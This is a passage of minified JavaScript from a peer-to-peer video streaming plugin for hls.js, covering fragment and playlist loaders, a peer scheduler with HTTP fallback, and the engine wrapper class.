${l}s`),n.on(hls_next_events.SCH_DCHAVE,h),this.waitTimer=setTimeout((()=>{this.loadFragByHttp(e,t,r,a),n.off(hls_next_events.SCH_DCHAVE,h)}),1e3*l)}else this.loadFragByHttp(e,t,r,a)}loadFragByHttp(e,t,r,i){const{logger:n,scheduler:s}=this;s.isReceiver=!1;const a=e.frag;if(this.isHlsV0){const e=r.onSuccess;r.onSuccess=(t,r,s)=>{if(!this.bufMgr.hasSegOfId(i)){const e=copyBuffer(t.data),r=new core_segment(a.sn,i,e,this.fetcher.peerId,a.level);this.bufMgr.putSeg(r)}this.fetcher.reportFlow(r.total);let o=r.tload-r.trequest;n.info(`HTTP loaded ${i} time ${o}ms`),e(t,r,s)};const t=r.onProgress;r.onProgress=(e,n,o)=>{s.notifyAllPeers(a.sn,a.level,i),r.onProgress=t,t(e,n,o)}}else if(r.onProgress){const e=r.onProgress;r.onProgress=(t,r,o)=>{if(s.notifyAllPeers(a.sn,a.level,i),!this.bufMgr.hasSegOfId(i)){const e=copyBuffer(o),t=new core_segment(a.sn,i,e,this.fetcher.peerId,a.level);this.bufMgr.putSeg(t)}this.fetcher.reportFlow(t.total),a.loaded=t.total;let l=t.loading.end-t.loading.start;n.info(`HTTP loaded ${i} time ${l}ms`),e(t,r,o)}}e.frag.loadByHTTP=!0,this.xhrLoader.load(e,t,r)}loadFragByP2p(e,t,r,i){const{logger:n}=this,s=e.frag;this.scheduler.load(e,t,r);const a=r.onSuccess,o=r.onTimeout;r.onTimeout=(e,l)=>{n.warn(`P2P timeout switched to HTTP load ${s.relurl} at ${s.sn}`),r.onSuccess=a,this.loadFragByHttp(l,t,r,i),r.onTimeout=o},r.onSuccess=(e,t,o)=>{if(!this.bufMgr.hasSegOfId(i)){const t=copyBuffer(e.data),r=new core_segment(s.sn,i,t,s.fromPeerId||this.fetcher.peerId,s.level);this.bufMgr.putSeg(r)}s.loadByP2P||this.fetcher.reportFlow(t.total),s.loaded=t.loaded,n.info(`${s.loadByP2P?"P2P":"HTTP"} loaded segment id ${i}`),!this.isHlsV0&&r.onProgress&&r.onProgress(t,o,e.data),a(e,t,o)}}}const frag_loader=FragLoader;class PlaylistLoader extends(events_default()){constructor(e){super(),this.logger=e.logger;const{scheduler:t}=window.__p2p_loader__;this.isHlsV0=e.isHlsV0,this.xhrLoader=new e.loader(e),this.p2pEnabled=e.p2pEnabled,this.scheduler=t,this.stats=this.xhrLoader.stats||createLoadStats()}destroy(){this.xhrLoader.destroy()}abort(){this.xhrLoader.abort()}load(e,t,r){const{logger:i}=this,{url:n}=e,s=n.split("?")[0],a=r.onSuccess;if(r.onSuccess=(e,t,r)=>{this.scheduler.broadcastPlaylist(s,e.data),a(e,t,r)},this.scheduler.playlistInfo.has(s)){const t=this.scheduler.getPlaylistFromPeer(s);if(t&&t.data){const{data:s,seq:a}=t;i.info(`got playlist from peer seq ${a}`),updateLoadStats(this.stats,s.length);let o={url:n,data:s};return void queue_microtask_default()((()=>{r.onSuccess(o,this.stats,e)}))}}this.xhrLoader.load(e,t,r)}}const playlist_loader=PlaylistLoader;class HlsjsScheduler extends Scheduler{constructor(e,t){super(e,t)}updatePlaySN(e){this.currPlaySN=e}load(e,t,r){this.isReceiver=!0;const{logger:i,config:n}=this;this.context=e;const{rangeStart:s,rangeEnd:a,url:o}=e,l=e.frag,{segId:h,sn:d,level:u}=l;this.callbacks=r,this.stats=createLoadStats(),this.criticalSeg={sn:d,level:u,segId:h};let c=this.mBufferedDuration-n.httpLoadTime;c>this.dcDownloadTimeout&&(c=this.dcDownloadTimeout);let f=this.requestingMap.get(d,u);const g={rangeStart:Number(s),rangeEnd:Number(a),url:o,httpLoadTime:1e3*n.httpLoadTime-500,xhrSetup:n.xhrSetup};f?f.setExtra(g):(f=new Synthesizer(this.logger,d,u,n.httpRangeSupported,g),this._setupSynthesizer(f),this.requestingMap.set(d,u,f)),f.setTimeout(1e3*c);const{forwardPeer:p,reversePeer:m}=this.targetPeers;p&&(f.setForwardPeer(p),p.requestDataById(h,d,!0,{level:u})),m&&(f.setReversePeer(m),m.requestDataById(h,d,!0,{level:u,reverse:!0})),this.targetPeers={}}destroy(){super.destroy(),this.logger.warn("destroy HlsjsScheduler")}_setupDC(e){super._setupDC(e)}_setupSynthesizer(e){e.on(hls_next_events.SYN_OUTPUT,((t,r)=>{const{config:i,logger:n}=this,{segId:s,sn:a,data:o,level:l}=t,{speed:h}=r,d=this.criticalSeg&&this.criticalSeg.segId===s;if(i.validateSegment(s,o)){this.notifyAllPeers(a,l,s),r.http&&this.engine.fetcher.reportFlow(r.http),r.p2p&&super.reportDCTraffic(a,l,r.p2p,h);const t=e.getFromPeerId();if(d){n.info(`receive criticalSeg seg_id ${s}`);let e=this.stats;e.tfirst=e.loading.first=Math.max(e.trequest,performance.now()),e.tload=e.loading.end=e.tfirst,e.loaded=e.total=o.byteLength,this.criticalSeg=null;const{frag:r}=this.context;r.fromPeerId=t,r.loadByP2P=!0,this.callbacks.onSuccess({data:o,url:this.context.url},e,this.context)}else{if(this.bitset.has(a,l))return;const e=new core_segment(a,s,o,t,l);this.bufMgr.putSeg(e),this.updateLoaded(a,l)}}else n.warn(`segment ${s} validate failed`),d&&this.callbacks.onTimeout(this.stats,this.context,null);this.requestingMap.delete(a,l),i.live&&!this.criticalSeg&&this.checkPeers()})).on(hls_next_events.SYN_ERROR,(e=>{const{sn:t,level:r}=e;this.criticalSeg&&this.criticalSeg.sn===t&&(this.criticalSeg=null,this.callbacks.onTimeout(this.stats,this.context,null)),this.requestingMap.delete(t,r)}))}_setupEngine(){super._setupEngine(),this.engine.on(hls_next_events.FRAG_LOADING,(({sn:e,segId:t,byHttp:r,level:i})=>{this.loadingSN=e,this.loadingSegId=t})).on(hls_next_events.FRAG_LOADED,(({sn:e,segId:t,byP2p:r,level:i})=>{this.requestingMap.delete(e,i),this.updateLoaded(e,i)})).on(hls_next_events.FRAG_CHANGED,(({sn:e})=>{this.updatePlaySN(e)}))}_handleDCHave(e,t,r,i){this.criticalSeg&&this.criticalSeg.sn===t&&this.criticalSeg.level===r&&this._notifySynthesizer(e,this.criticalSeg.segId,t,r,i),this.config.live&&!this.criticalSeg&&queue_microtask_default()((()=>{this.checkPeers()}))}}const hlsjs_scheduler=HlsjsScheduler;class HlsjsP2pEngine extends Engine{static get name(){return"HlsjsP2pEngine"}constructor(e,t={}){if(super(t),!e)throw new TypeError("hlsjs instance is null");this.hlsjs=e,this.HLSEvents=e.constructor.Events,this.config.isHlsV0="0"===e.constructor.version.split(".")[0],this.config.xhrSetup=e.config.xhrSetup;const{channelIdMaker:r,signalId:i,browserInfo:n}=this.setup();e.config.segmentId=this.config.segmentId;const s=(t,a)=>{const{config:o}=this,l=a.details,h=l.live;o.live=this.hlsjs.config.live=h,h||(o.trickleICE=!0),this.browserInfo={...n,live:h,abr:this.multiBitrate||void 0,type:"hls"},this.channel=`${r(e.url)}|${i}[${peer.VERSION}]`,this.setupElectron();const d=this.initLogger();d.info("use HlsjsP2pEngine"),this.logger=this.hlsjs.config.logger=d,d.info(`channel ${this.channel}`),h||(o.startSN=l.startSN,o.endSN=l.endSN,d.info(`startSN ${l.startSN} endSN ${l.endSN}`)),this.eventListened=!1,this._init(this.channel,this.browserInfo),e.off(this.HLSEvents.LEVEL_LOADED,s)};e.on(this.HLSEvents.LEVEL_LOADED,s);const a=(t,r)=>{const i=r.levels.length;this.multiBitrate=i>1,e.off(this.HLSEvents.MANIFEST_PARSED,a)};e.on(this.HLSEvents.MANIFEST_PARSED,a)}_init(e,t){if(!this.p2pEnabled)return;this.hlsjs.config.p2pEnabled=this.p2pEnabled,this.hlsjs.config.sharePlaylist=this.config.sharePlaylist,this.bufMgr=new segment_cache(this,this.config),this.hlsjs.config.bufMgr=this.bufMgr,this.media=this.hlsjs.media;let r=new server(this,this.config.token,encodeURIComponent(e),this.config.announce||"",t);this.fetcher=r;const i=new hlsjs_scheduler(this,this.config);this.tracker=new tracker_client(this,r,i,this.config),i.bufferManager=this.bufMgr,this.hlsjs.config.fLoader=frag_loader,this.config.sharePlaylist&&(this.hlsjs.config.pLoader=playlist_loader),window.__p2p_loader__={scheduler:this.tracker.scheduler,fetcher:r,p2pBlackList:this.config.p2pBlackList,isHlsV0:this.config.isHlsV0},this.trackerTried=!1,this.eventListened||(this.hlsjs.on(this.HLSEvents.FRAG_LOADING,this._onFragLoading.bind(this)),this.hlsjs.on(this.HLSEvents.FRAG_LOADED,this._onFragLoaded.bind(this)),this.hlsjs.on(this.HLSEvents.FRAG_CHANGED,this._onFragChanged.bind(this)),this.hlsjs.on(this.HLSEvents.ERROR,this._onHlsError.bind(this)),this.eventListened=!0),this.setupWindowListeners(),this.trackerTried||this.tracker.connected||!this.config.p2pEnabled||(this.tracker.resumeP2P(),this.trackerTried=!0)}_onFragLoading(e,t){const r=t.frag;let{sn:i,level:n,segId:s}=r;if(!isBlockType(r.url,this.config.p2pBlackList)){if(this.logger.debug("loading frag "+i),!s){let e;r._byteRange&&(e="bytes="+r._byteRange[0]+"-"+r._byteRange[1]);let i=r.url;s=t.frag.segId=this.config.segmentId(String(n),r.sn,i,e)}this.emit(hls_next_events.FRAG_LOADING,{sn:i,segId:s,byHttp:r.loadByHTTP,level:n})}}_onFragLoaded(e,t){const{sn:r,segId:i,loaded:n,duration:s,level:a,fromPeerId:o,loadByP2P:l,url:h}=t.frag,{config:d,logger:u}=this;isBlockType(t.frag.url,d.p2pBlackList)||(this.emit(hls_next_events.FRAG_LOADED,{url:h,sn:r,level:a,segId:i,loaded:n,duration:s,byP2p:!!l,fromPeerId:o}),!this.rangeTested&&d.useHttpRange&&(performRangeRequest(t.frag.url,void 0,d.xhrSetup).then((()=>{d.httpRangeSupported=!0,u.info("http range is supported"),d.httpLoadTime-=1.5,d.httpLoadTime<1.5&&(d.httpLoadTime=1.5)})).catch((()=>{d.httpRangeSupported=!1,u.warn("http range is not supported")})),this.rangeTested=!0))}_onFragChanged(e,t){if(!isBlockType(t.frag.url,this.config.p2pBlackList)){this.logger.debug("frag changed: "+t.frag.sn);const{sn:e,duration:r}=t.frag;this.emit(hls_next_events.FRAG_CHANGED,{sn:e,duration:r})}}_onHlsError(e,t){const{logger:r}=this;t.fatal?r.error(`${t.type} details ${t.details} reason ${t.reason}`):r.warn(`${t.type} details ${t.details} reason ${t.reason}`);const i=this.hlsjs.constructor.ErrorDetails;switch(t.details){case i.BUFFER_STALLED_ERROR:this.fetcher&&this.fetcher.errsBufStalled++;break;case i.INTERNAL_EXCEPTION:this.fetcher&&(this.fetcher.errsInternalExpt++,this.fetcher.exptMsg=t.err.message),r.error(`INTERNAL_EXCEPTION event ${t.event} err ${t.err.message}`),this.emit(hls_next_events.EXCEPTION,err_code_default()(t.err,"HLSJS_EXPT"))}}get currentLevel(){const{currentLevel:e}=this.hlsjs;return e>=0?e:0}disableP2P(){this.logger&&this.logger.warn("disable P2P"),this.p2pEnabled&&(this.p2pEnabled=!1,this.config.p2pEnabled=this.hlsjs.config.p2pEnabled=this.p2pEnabled,this.tracker&&(this.tracker.stopP2P(),this.tracker={},this.fetcher=null,this.bufMgr.destroy(),this.bufMgr=null,this.hlsjs.config.fLoader=this.hlsjs.config.pLoader=this.hlsjs.constructor.DefaultConfig.loader))}}const hlsjs_p2pengine=HlsjsP2pEngine;function getMediaSource(){if("undefined"!=typeof window)return window.MediaSource||window.WebKitMediaSource}function isMSESupported(){const e=getMediaSource(),t=window.SourceBuffer||window.WebKitSourceBuffer,r=e&&"function"==typeof e.isTypeSupported&&e.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"'),i=!t||t.prototype&&"function"==typeof t.prototype.appendBuffer&&"function"==typeof t.prototype.remove;return!!r&&!!i}class ShadowP2pEngine extends Engine{static get name(){return"ShadowP2pEngine"}constructor(){super()}get currentLevel(){return 0}disableP2P(){}}const shadow_p2pengine=ShadowP2pEngine;class P2pEngine{static get Events(){return hls_next_events}static isSupported(){return engine_base.isSupported()&&(isMSESupported()||hls_sw_p2pengine.isServiceWorkerSupported())}static isServiceWorkerSupported(){return hls_sw_p2pengine.isServiceWorkerSupported()}static isMSESupported(){return isMSESupported()}static getBrowser(){return platform_default().getBrowser()}static get ServiceWorkerEngine(){return hls_sw_p2pengine}static get HlsjsEngine(){return hlsjs_p2pengine}constructor(e={}){const{hlsjsInstance:t}=e;if(delete e.hlsjsInstance,window.__swP2pEngineHlsActive)return console.warn("P2pEngineHls is already activated"),void(this._realEngine=new shadow_p2pengine(e));"1"!==getQueryParam("_ios")&&!e.proxyOnly&&t&&isMSESupported()?this._realEngine=new hlsjs_p2pengine(t,e):this._realEngine=new hls_sw_p2pengine(e)}get realEngine(){return this._realEngine}get engineName(){return this._realEngine.constructor.name}once(e,t){return this._realEngine.once(e,t)}on(e,t){return this._realEngine.on(e,t)}off(e,t){return this._realEngine.off(e,t)}removeListener(e,t){return this._realEngine.removeListener(e,t)}removeAllListeners(e){return this._realEngine.removeAllListeners(e)}set p2pEnabled(e){this._realEngine.p2pEnabled=e}get p2pEnabled(){return this._realEngine.p2pEnabled}enableP2P(){this._realEngine.enableP2P()}disableP2P(){this._realEngine.disableP2P()}destroy(){this._realEngine.destroy()}registerServiceWorker(){"function"==typeof this._realEngine.registerServiceWorker&&this._realEngine.registerServiceWorker()}unregisterServiceWorker(){"function"==typeof this._realEngine.unregisterServiceWorker&&this._realEngine.unregisterServiceWorker()}get version(){return engine_base.version}}P2pEngine.version=engine_base.version,P2pEngine.protocolVersion=peer.VERSION,window&&(window.P2PEngineHls=P2pEngine);const index_engine=P2pEngine;var Hlsjs;Hlsjs=__webpack_require__(101);const liveHlsjsConfig={maxBufferLength:8},VODHlsjsConfig={maxBufferLength:40};class SWHlsjs extends Hlsjs{static get P2PEvents(){return index_engine.Events}static get P2pEngine(){return index_engine}constructor(e={}){let t=e.p2pConfig||{};const r=!1===t.live?VODHlsjsConfig:liveHlsjsConfig;let i=JSON.parse(JSON.stringify(r));i.liveSyncDurationCount=10,i.manifestLoadingMaxRetry=3,i.manifestLoadingRetryDelay=700,i.levelLoadingRetryDelay=700,i.maxBufferSize=0;for(let t in e)"p2pConfig"!==t&&(i[t]=e[t]);super(i),this._restartEvent=()=>{this.restartP2P()},index_engine.isSupported()&&(this._p2pEngine=new index_engine({...t,hlsjsInstance:this}),this._p2pEngine.on(index_engine.Events.RESTART_P2P,this._restartEvent)),this.on(Hlsjs.Events.DESTROYING,(()=>{this._p2pEngine&&(this._p2pEngine.removeListener(index_engine.Events.RESTART_P2P,this._restartEvent),this._p2pEngine.destroy(),this._p2pEngine.hlsjs=null,this._p2pEngine=null)}))}get p2pEngine(){return this._p2pEngine}enableP2P(){this._p2pEngine&&(this._p2pEngine=this._p2pEngine.enableP2P())}disableP2P(){this._p2pEngine&&this._p2pEngine.disableP2P()}restartP2P(){this._p2pEngine&&(this._p2pEngine.disableP2P(),setTimeout((()=>{this.enableP2P()}),2e3),this._p2pEngine.removeListener(index_engine.Events.RESTART_P2P,this._restartEvent))}}SWHlsjs.engineVersion=index_engine.version,SWHlsjs.protocolVersion=index_engine.protocolVersion,SWHlsjs.WEBRTC_SUPPORT=index_engine.isSupported();const index_hls=SWHlsjs})(),__webpack_exports__=__webpack_exports__.default,__webpack_exports__})()));
|